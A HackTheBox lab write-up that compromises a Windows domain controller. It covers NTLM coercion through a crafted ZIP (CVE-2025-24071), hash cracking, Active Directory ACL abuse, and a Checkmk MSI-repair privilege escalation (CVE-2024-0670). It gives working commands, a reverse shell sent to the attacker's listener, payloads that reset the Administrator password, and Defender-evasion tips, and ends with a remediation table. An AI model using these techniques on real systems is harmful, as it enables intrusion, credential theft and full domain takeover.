| Info | Detail |
|---|---|
| Platform | HackTheBox |
| Difficulty | Hard |
| OS | Windows Server 2022 |
| Themes | Active Directory, NTLM Coercion, ACL Abuse, Kerberos, MSI Repair Race |
| CVEs | CVE-2025-24071, CVE-2024-0670 |
TL;DR
NanoCorp is a Windows Server 2022 domain controller exposing a recruitment portal (hire.nanocorp.htb) that accepts ZIP uploads. We exploit CVE-2025-24071 to coerce NTLM authentication via a .library-ms file embedded in a ZIP — Responder captures the NTLMv2 hash of the web_svc service account.
After cracking the hash, BloodHound reveals an ACL chain: web_svc can add itself to the IT_SUPPORT group (AddSelf), which in turn can change the password of monitoring_svc (ForceChangePassword). That account, a member of the Protected Users group, requires Kerberos authentication to reach the DC over WinRM — which lands us the user flag.
Privesc exploits CVE-2024-0670: the Checkmk agent v2.1.0 creates temporary .cmd files with a predictable pattern during an MSI repair (msiexec /fa). By pre-placing our own read-only .cmd files, we get command execution as SYSTEM. The subtle trap: msiexec /fa requires an interactive session (logon type 2). We use RunasCs with the -l 2 flag from Evil-WinRM to obtain a reverse shell as web_svc inside an interactive session, then trigger msiexec from that session.
Attack Overview
┌─────────────────────────────────────────────────┐
│ hire.nanocorp.htb — ZIP Upload │
│ CVE-2025-24071 (.library-ms → NTLM coercion) │
└────────────────────┬────────────────────────────┘
↓
┌─────────────────────────────────────────────────┐
│ Responder captures NTLMv2 hash → web_svc │
│ Hashcat crack → dksehdgh712!@# │
└────────────────────┬────────────────────────────┘
↓
┌─────────────────────────────────────────────────┐
│ BloodHound ACL Chain │
│ web_svc ──[AddSelf]──→ IT_SUPPORT │
│ IT_SUPPORT ──[ForceChangePassword]──→ │
│ monitoring_svc │
└────────────────────┬────────────────────────────┘
↓
┌─────────────────────────────────────────────────┐
│ Protected Users → Kerberos required │
│ kinit + evil-winrm --ssl -r NANOCORP.HTB │
│ → monitoring_svc shell → 🚩 User flag │
└────────────────────┬────────────────────────────┘
↓
┌─────────────────────────────────────────────────┐
│ CVE-2024-0670 — Checkmk MSI Repair Race │
│ RunasCs -l 2 → web_svc reverse shell │
│ → Seed 10k .cmd files → msiexec /fa │
│ → SYSTEM runs our payload │
│ → net user Administrator → 🚩 Root flag │
└─────────────────────────────────────────────────┘
Phase 1 — Enumeration
1.1 Port scan with Rustscan
We start with a full scan using Rustscan, which quickly identifies open ports before handing off to Nmap for scripts and version detection.
export IP=10.129.243.199
export ME=$(ip addr show tun0 | grep 'inet ' | awk '{print $2}' | cut -d/ -f1)
echo "$IP dc01.nanocorp.htb nanocorp.htb" | sudo tee -a /etc/hosts
rustscan -a $IP --ulimit 5000 --range 1-65535 -- -sC -sV -oN nmap_full.txt -Pn
Key ports identified:
| Port | Service | Observation |
|---|---|---|
| 53 | DNS | Simple DNS Plus — internal AD resolution |
| 80 | HTTP | Apache 2.4.58 (Win64) + PHP 8.2.12 — redirects to nanocorp.htb
|
| 88 | Kerberos | Confirms a Domain Controller |
| 389 | LDAP | Domain: nanocorp.htb
|
| 445 | SMB | Message signing required → no NTLM relay possible |
| 5986 | WinRM HTTPS | Only WinRM available (no plaintext 5985) |
| 6556 | — | Absent from external scan — we'll discover it later from the inside |
Two important details in the scan:
The clock skew is nearly 7 hours — this is crucial for Kerberos commands. On this box, we use faketime -f '+7h' in front of each Kerberos command rather than changing the system clock (which would break TLS certificates).
SMB signing is required — this immediately rules out NTLM relay attacks (ntlmrelayx). We'll have to capture and crack the hashes, not relay them.
1.2 Vhost enumeration with ffuf
The Apache server redirects to nanocorp.htb — there may be other vhosts configured. We use ffuf to discover them.
ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
-H "Host: FUZZ.nanocorp.htb" -u http://nanocorp.htb \
-mc 200,302,403 -fc 301 | cat
Why
| cat? ffuf displays an interactive progress bar that pollutes the output. Piping tocatforces a non-interactive mode — the output is clean and readable.Why
-fc 301? The server returns 301 to all non-existent subdomains (redirect tonanocorp.htb). That's the default noise we filter out — we only keep responses that behave differently (200, 302, 403).
Discovery: hire.nanocorp.htb — we add it to /etc/hosts:
echo "$IP hire.nanocorp.htb" | sudo tee -a /etc/hosts
1.3 The recruitment portal
We open http://hire.nanocorp.htb in the browser — it's a recruitment portal with a CV upload form.
The form accepts ZIP files and archives. This is our entry vector: we'll exploit the automatic archive processing by Windows Explorer.
Phase 2 — Initial Access: CVE-2025-24071 (NTLM Coercion via ZIP)
2.1 Why this CVE works
CVE-2025-24071 exploits a Windows Explorer behavior: when a ZIP archive is extracted, Explorer auto-processes certain special file types, including .library-ms files.
A .library-ms file is an XML file that describes a Windows "library" (Documents, Pictures, etc.). It can contain a UNC path (\\attacker-ip\share) as the library location. When Explorer processes this file, it tries to resolve the UNC path — which triggers an automatic NTLM authentication to our SMB server.
The key point: all of this happens without any user interaction. Extracting the ZIP is enough.
2.2 Generating the malicious ZIP
cd /mnt/macos/CTF/NanoCorp
git clone https://github.com/0x6rss/CVE-2025-24071_PoC
cd CVE-2025-24071_PoC
python3 poc.py
The PoC generates an exploit.zip containing a .library-ms file pointing to our IP via a UNC path.
2.3 Capturing the NTLMv2 hash
T1 — Responder listening on tun0:
sudo responder -I tun0 -v
T2 — Upload the exploit.zip on the hire.nanocorp.htb form.
We wait a few seconds — the server extracts the ZIP, Windows Explorer processes the .library-ms, and attempts SMB authentication toward us.
[SMB] NTLMv2-SSP Client : 10.129.243.199
[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash : web_svc::NANOCORP:94f624ed11c6411e:8E122B...
We have the NTLMv2 hash of the web_svc service account — the account that runs Apache/PHP on the box.
2.4 Cracking the hash
We save the hash and crack it with Hashcat on the Mac's native M5 GPU (via the Metal API):
echo 'web_svc::NANOCORP:94f624ed11c6411e:8E122B...' > web_svc.hash
hashcat -m 5600 web_svc.hash ~/wordlists/rockyou.txt
Why
-m 5600? That's NTLMv2 mode in Hashcat. NTLMv2 is the authentication protocol (challenge/response), not to be confused with the raw NT hash (-m 1000).
Result: web_svc / dksehdgh712!@#
Phase 3 — Horizontal Escalation: ACL Chain (BloodHound CE)
3.1 BloodHound collection
With web_svc's credentials, we run the BloodHound ingestor to map the AD:
bloodhound-python -u web_svc -p 'dksehdgh712!@#' \
-d nanocorp.htb -dc dc01.nanocorp.htb -c All --zip -ns $IP
Why
-ns $IP? We force the use of the DC's DNS directly. Without it, bloodhound-python tries to resolve names via Kali's system DNS, which doesn't know thenanocorp.htbzone — and the ingestor crashes withFailed to resolve LDAP server IP.
3.2 Analysis in BloodHound CE
We import the ZIP into BloodHound CE (http://localhost:8080) and explore web_svc's rights.
Node web_svc@nanocorp.htb → Outbound Object Control:
-
web_svc→IT_SUPPORT: AddSelf
Node IT_SUPPORT → Outbound Object Control:
-
IT_SUPPORT→monitoring_svc: ForceChangePassword
3.3 Why this ACL chain is dangerous
The full chain is:
web_svc ──[AddSelf]──→ IT_SUPPORT ──[ForceChangePassword]──→ monitoring_svc
AddSelf: web_svc has the right to add itself as a member of the IT_SUPPORT group. This is a more specific, weaker right than GenericAll — the principal cannot add other users, only itself. It's often configured so that service accounts can "join" a technical support group.
ForceChangePassword: the IT_SUPPORT group has the right to reset monitoring_svc's password without knowing the old one. This right is often granted to support teams to unblock accounts — but it's a direct entry point for an attacker who joins the group.
Result: with a single service account (web_svc), we can pivot to monitoring_svc in two steps without ever touching a privileged account.
3.4 Exploiting the ACL chain
Step 1 — web_svc adds itself to the IT_SUPPORT group
We use the Python ldap3 library to modify the group's member attribute. We go through a Python script to avoid password quoting issues (!@#) in zsh:
cat > /tmp/addself.py << 'EOF'
from ldap3 import Server, Connection, MODIFY_ADD
server = Server('dc01.nanocorp.htb', get_info='ALL')
conn = Connection(server, user='NANOCORP\\web_svc', password='dksehdgh712!@#')
conn.bind()
conn.modify(
'CN=IT_SUPPORT,CN=Users,DC=nanocorp,DC=htb',
{'member': [(MODIFY_ADD, ['CN=web_svc,CN=Users,DC=nanocorp,DC=htb'])]}
)
print(conn.result)
EOF
python3 /tmp/addself.py
Why a Python file and not a one-liner? The password contains
!@#— zsh interprets!as history expansion and#as a comment. The heredoc<< 'EOF'(with single quotes around EOF) prevents any expansion.
Result: {'result': 0, 'description': 'success', ...}
Step 2 — Changing monitoring_svc's password
Now that web_svc is a member of IT_SUPPORT, we use rpcclient to change monitoring_svc's password:
cat > /tmp/changepwd.sh << 'EOF'
rpcclient -U "nanocorp.htb/web_svc%dksehdgh712!@#" dc01.nanocorp.htb \
-c "setuserinfo2 monitoring_svc 23 'NanoPwned123!'"
EOF
bash /tmp/changepwd.sh
Why
setuserinfo2with code23? Code 23 corresponds toUserInternal4InformationNewin the Windows SAMR API — it's the RPC call that changes the password without knowing the old one. This is exactly what the "Reset Password" button does in Active Directory Users and Computers.
No error = password changed successfully.
Phase 4 — monitoring_svc Shell via Kerberos WinRM
4.1 Why Kerberos is mandatory
monitoring_svc is a member of the Protected Users group in Active Directory. This group enforces strict security restrictions:
- NTLM disabled: any NTLM authentication attempt is refused
- No delegation: the account cannot be used for Kerberos delegation
- Reduced TGT lifetime: 4 hours instead of 10
In practice, if we try evil-winrm -i dc01.nanocorp.htb -u monitoring_svc -p 'NanoPwned123!' (which uses NTLM by default), the connection will be silently refused. We must explicitly go through Kerberos.
4.2 Kerberos configuration and connection
# Kerberos configuration
sudo tee /etc/krb5.conf > /dev/null << 'EOF'
[libdefaults]
default_realm = NANOCORP.HTB
[realms]
NANOCORP.HTB = {
kdc = dc01.nanocorp.htb
admin_server = dc01.nanocorp.htb
}
[domain_realm]
.nanocorp.htb = NANOCORP.HTB
nanocorp.htb = NANOCORP.HTB
EOF
# Get the Kerberos TGT
faketime -f '+7h' kinit monitoring_svc@NANOCORP.HTB
# Enter the password: NanoPwned123!
# WinRM connection via Kerberos
faketime -f '+7h' evil-winrm -i dc01.nanocorp.htb -r NANOCORP.HTB --ssl
Why
--ssl? Port 5985 (plaintext WinRM) is not open — only 5986 (WinRM HTTPS) is available. The--sslflag tells Evil-WinRM to use TLS.Why
-r NANOCORP.HTB? This flag enables Kerberos authentication in Evil-WinRM by specifying the realm. Without it, Evil-WinRM defaults to NTLM.Why
faketime? The ~7h clock skew between our Kali and the DC would make Kerberos requests fail.faketimeadjusts the clock as seen by the process without touching the system clock.
4.3 User flag
type C:\Users\monitoring_svc\Desktop\user.txt
🚩 User flag owned!
Phase 5 — Privesc: CVE-2024-0670 (Checkmk MSI Repair Race)
5.1 Enumeration from monitoring_svc
We start by checking what's running on the box. Port 6556 wasn't visible from outside — let's check from the inside:
netstat -an | findstr 6556
TCP 0.0.0.0:6556 0.0.0.0:0 LISTENING
Port 6556 is the default port of the Checkmk agent — a system monitoring tool. Let's check the installed version:
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties" |
Where-Object { $_.DisplayName -like "*mk*" -or $_.DisplayName -like "*Check*" } |
Select-Object DisplayName, DisplayVersion, LocalPackage
DisplayName DisplayVersion LocalPackage
----------- -------------- ------------
Check MK Agent 2.1 2.1.0.50010 C:\Windows\Installer\1e6f2.msi

Version 2.1.0.50010 → vulnerable to CVE-2024-0670.
5.2 Understanding CVE-2024-0670 in depth
The normal mechanism
When an MSI repair (msiexec /fa) is launched for Checkmk, the agent performs the following steps:
- Creates temporary
.cmdfiles inC:\Windows\Tempwith the patterncmk_all_<PID>_<counter>.cmd - Writes its own configuration commands into these files
- Executes these files as SYSTEM (the Windows Installer service runs as SYSTEM)
- Deletes the temporary files
The vulnerability
The problem is twofold:
Predictable pattern: the file name contains only the PID of the msiexec process and a counter (0 or 1). The PID is in a predictable range — on Windows Server, PIDs typically run between 1000 and 15000.
No integrity check: msiexec does not verify that the .cmd content is the one it wrote. If the file already exists and is read-only, msiexec cannot overwrite it — and it executes the existing content anyway as SYSTEM.
The logon type trap
This is the most subtle point of the box. Windows distinguishes several types of authentication sessions:
| Type | Name | Example |
|---|---|---|
| 2 | Interactive | Physical console, RunasCs -l 2
|
| 3 | Network | WinRM, SMB, webshells |
| 10 | RemoteInteractive | RDP |
The Windows Installer service (msiserver) refuses to launch an MSI repair (/fa) from a type 3 (network) session. It doesn't return an error — it fails silently. That's why:
- Running
msiexec /fafrom Evil-WinRM → does nothing (type 3) - Running
msiexec /fafrom a webshell → does nothing (type 3 too, HTTP network) - Running
msiexec /favia RunasCs-l 2→ works (creates a type 2 session)
RunasCs with the -l 2 flag is the key tool here: it takes credentials and creates a real local interactive session (type 2), even from a network session. That's what allows bypassing the msiexec restriction.
5.3 Preparing the exploit
Step 1 — Upload RunasCs to C:\programdata
We upload RunasCs via Evil-WinRM into C:\programdata — a directory that Defender watches less than C:\Windows\Temp. The precompiled binary survives here without being deleted.
# From Evil-WinRM (monitoring_svc)
cd C:\programdata
upload /mnt/macos/CTF/NanoCorp/RunasCs.exe RunasCs.exe
Why
C:\programdataand notC:\Windows\Temp? Defender actively monitorsC:\Windows\Temp— known binaries like RunasCs or nc.exe get deleted almost instantly there.C:\programdatais a legitimate system directory, less scrutinized by Defender signatures.
Step 2 — web_svc reverse shell via RunasCs
We use RunasCs from Evil-WinRM to obtain a reverse shell as web_svc with an interactive type 2 session. It's this session that will let us trigger msiexec.
T1 — Penelope listening:
penelope -p 4444
From Evil-WinRM:
C:\programdata\RunasCs.exe web_svc 'dksehdgh712!@#' cmd.exe -r 10.10.16.52:4444 -l 2
Why
-l 2? This flag forces RunasCs to create a type 2 logon (interactive). Without it, RunasCs uses the default type that wouldn't let msiexec work. It's the critical flag of the whole privesc.Why
-r 10.10.16.52:4444? RunasCs sends a reverse shell to our listener. We can't get a direct interactive shell from Evil-WinRM since we're already inside a WinRM session.
Penelope receives the shell — we verify:
C:\Windows\system32> whoami
nanocorp\web_svc
5.4 Exploit — Seed and trigger
From the web_svc reverse shell (interactive type 2 session), we prepare and trigger the exploit in two steps.
Step 1 — Seed the .cmd files
We create 10,000 .cmd files with a simple payload: write whoami to a proof file and change the Administrator password. No need for a SYSTEM reverse shell — we just change the admin password.
powershell -c "1..10000 | foreach { Set-Content -Path C:\Windows\Temp\cmk_all_${_}_1.cmd -Value 'whoami > C:\programdata\proof.txt & net user Administrator H4cked123!' -Force; Set-ItemProperty -Path C:\Windows\Temp\cmk_all_${_}_1.cmd -Name IsReadOnly -Value $true }"
Why such a simple payload? We don't need a SYSTEM reverse shell. The payload does two things: (1) it proves SYSTEM execution via
whoami > proof.txt, and (2) it changes the Administrator password. After that, we connect directly as admin via Evil-WinRM. The simpler it is, the lower the risk that Defender intervenes.Why counter
_1? The counter in the Checkmk pattern starts at 0 or 1 depending on the version. We use_1to cover the most common case.Why
-ForceandIsReadOnly?-Forceoverwrites existing files (from a previous attempt).IsReadOnlyprevents msiexec from replacing them with its own content — it runs ours instead.
Step 2 — Trigger msiexec /fa
Still from the web_svc reverse shell (type 2 session):
cmd /c "msiexec /fa C:\Windows\Installer\1e6f2.msi"
Why
cmd /c? We wrap msiexec incmd /cto make sure the command runs in a fresh, clean cmd.exe process, and that the current shell waits for execution to finish.Why does this command work here but not from Evil-WinRM? Because we're in an interactive type 2 session created by RunasCs. Evil-WinRM is a type 3 network session — msiexec silently refuses to work there.
Step 3 — Verification
type C:\programdata\proof.txt
nt authority\system
📸 SYSTEM confirmed! The Administrator password has been changed.
5.5 Connecting as Administrator
The payload changed the administrator's password. We connect directly:
evil-winrm -i dc01.nanocorp.htb -u Administrator -p 'H4cked123!' --ssl
type C:\Users\Administrator\Desktop\root.txt
🚩 Root flag owned!
Pitfalls Encountered and Solutions
The logon type 2 vs 3 trap
This is the most frustrating point of the box: msiexec /fa produces no error when it refuses to run under logon type 3. It simply terminates without doing anything. You can spend hours debugging the payload (RunasCs? nc.exe? quoting?) when the actual problem is the execution context.
The solution: RunasCs with the -l 2 flag from Evil-WinRM to create a reverse shell inside an interactive session. From that session, msiexec agrees to run.
The lesson: when a Windows command does "nothing" without an error, think about the logon type. It's a pattern that also shows up with schtasks, wmic, and other tools that silently refuse network sessions.
BloodHound CE + PostgreSQL 18
The BloodHound CE version packaged in Kali (9.2.2-0kali1) is incompatible with PostgreSQL 18 (error syntax error at or near "STORAGE"). The TEXT STORAGE MAIN syntax was removed in PG18.
Fix: patch the SQL migration file and grant the right permissions to the role:
# Remove the obsolete STORAGE syntax
sudo sed -i -E 's/[[:space:]]+STORAGE[[:space:]]+(MAIN|EXTERNAL|EXTENDED|PLAIN|DEFAULT)//g' \
/usr/lib/bloodhound/cmd/api/src/database/migration/migrations/00000000000001_init.sql
# Recreate the database with the right owner
sudo -u postgres psql <<'SQL'
DROP DATABASE IF EXISTS bloodhound;
CREATE DATABASE bloodhound OWNER _bloodhound;
\c bloodhound
ALTER SCHEMA public OWNER TO _bloodhound;
GRANT ALL ON SCHEMA public TO _bloodhound;
SQL
sudo systemctl restart bloodhound
Cleaner alternative: the official Docker stack (curl -L https://ghst.ly/getbhce -o docker-compose.yml && docker compose up -d), which ships its own compatible PostgreSQL version.
Blue Team — How to Fix
| Vulnerability | Fix |
|---|---|
| CVE-2025-24071 | Update Windows (patch KB5053598). Filter ZIP uploads on the application side — never extract archives server-side without a sandbox. |
| AddSelf on IT_SUPPORT | Audit AD ACLs with BloodHound. Remove the AddSelf right on support groups — use access request workflows (ITSM) instead. |
| ForceChangePassword | Restrict this right to dedicated administrative accounts, never to support groups. Enable auditing of password changes (Event ID 4724). |
| Bypassable Protected Users | Protected Users is a good practice, but it does not protect against a third party changing the password. Combine it with LAPS and rotating passwords. |
| CVE-2024-0670 | Update Checkmk Agent to 2.2+ (fixed). In the meantime, restrict ACLs on C:\Windows\Temp to prevent non-SYSTEM users from writing .cmd files there. |
| Webshell via webroot | Don't grant WriteData to BUILTIN\Users on the webroot. Run Apache under a dedicated service account with minimal privileges. |
References
- CVE-2025-24071 — PoC
- CVE-2024-0670 — Checkmk Agent LPE
- RunasCs — antonioCoco
- BloodHound CE
- Evil-WinRM
- Responder
Writeup by WhyShell — understand the why behind every exploit.















Top comments (0)